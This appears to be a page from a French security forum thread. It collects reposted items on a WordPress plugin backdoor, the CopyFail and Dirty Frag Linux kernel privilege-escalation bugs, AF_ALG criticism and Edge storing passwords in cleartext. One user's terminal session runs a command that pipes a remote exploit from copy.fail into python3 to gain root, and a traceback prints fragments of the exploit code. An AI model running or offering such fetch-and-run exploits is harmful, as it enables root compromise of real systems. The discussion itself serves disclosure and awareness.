Sécurité info - Page 80

Further investigation by Ginder revealed that a backdoor had been present in all plugins within the EssentialPlugin package since August 2025, after the project was acquired in a six-figure deal by a new owner.

$ curl https://copy.fail/exp | python3 && su
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   731   0   731   0     0  3617     0  --:--:-- --:--:-- --:--:--  4153
Traceback (most recent call last):
  File "<stdin>", line 8, in <module>
FileNotFoundError: [Errno 2] No such file or directory: '/usr/bin/su'

$ python3 copyfail.py 
Traceback (most recent call last):
  File "/home/godzil/copyfail.py", line 9, in <module>
    while i<len(e):c(f,i,e[i:i+4]);i+=4
                   ^^^^^^^^^^^^^^^
  File "/home/godzil/copyfail.py", line 5, in c
    a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
      ^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.12/socket.py", line 233, in __init__
    _socket.socket.__init__(self, family, type, proto, fileno)
OSError: [Errno 97] Address family not supported by protocol

Lionel Debroux (./2387) :
Dans le thread de

https://seclists.org/oss-sec/2026/q2/seclists.org

à propos de CopyFail, Eric Biggers, le mainteneur de l'API crypto moderne du kernel (qui succède à l'API AF_ALG où il y a régulièrement des problèmes de sécurité), détaille à quel point il n'est pas fan d'AF_ALG et de son utilisation par peu de programmes.

https://seclists.org/oss-sec/2026/q2/347
The problem here is specifically AF_ALG, which is an additional legacy interface that's built on top of the kernel's crypto code. For some reason it exposes basically everything to unprivileged userspace programs, and in a bug-prone way as well (e.g., zero-copy support).

If you disable AF_ALG in your kernel, then IPsec, WireGuard, and any other kernel feature that uses cryptography will still work.

What it does break are a small set of userspace programs that made the shortsighted decision to use AF_ALG, instead of simply following the standard practice of using a userspace crypto library.

https://xcancel.com/IntCyberDigest/status/2051406295828250963
❗️🚨 Microsoft Edge keeps every saved password in process memory as cleartext from the moment it launches. Microsoft's responsed when reported: "by design."

All of them. Including credentials for sites you won't open this session.

Researcher @L1v1ng0ffTh3L4N tested every major Chromium browser. Edge is the only one that behaves this way.

Chrome decrypts credentials on demand, and App-Bound Encryption locks the keys to an authenticated Chrome process so other processes can't reuse them.

In Chrome, plaintext surfaces only during autofill or when a password is viewed, making memory scraping far less useful.

What makes this extra weird is that Edge still demands re-authentication before revealing those passwords in its Password Manager UI, while the same browser process already holds every one of them in plaintext.

In shared environments, this turns into a credential harvest. On a terminal server, an attacker with admin rights can read the memory of every logged-on user process. In the published PoC video, a compromised admin account lifts stored credentials from two other logged-on (and even disconnected) users with Edge running.

Microsoft's official response when notified: "by design."

The finding was disclosed April 29 at BigBiteOfTech by PaloAltoNtwks Norway, alongside a small educational tool that lets anyone verify the cleartext storage for themselves.

This document describes the Dirty Frag vulnerability class, first discovered and reported by Hyunwoo Kim (@v4bel), which can obtain root privileges on major Linux distributions by chaining the xfrm-ESP Page-Cache Write vulnerability and the RxRPC Page-Cache Write vulnerability.

Dirty Frag is a case that extends the bug class to which Dirty Pipe and Copy Fail belong. Because it is a deterministic logic bug that does not depend on a timing window, no race condition is required, the kernel does not panic when the exploit fails, and the success rate is very high.

For detailed technical information and the timeline, see here.

Because the embargo has currently been broken, no patch or CVE exists. After consultation with the maintainers on linux-distros@vs.openwall.org and at their request, this Dirty Frag document is being published. For the disclosure timeline, refer to the technical details.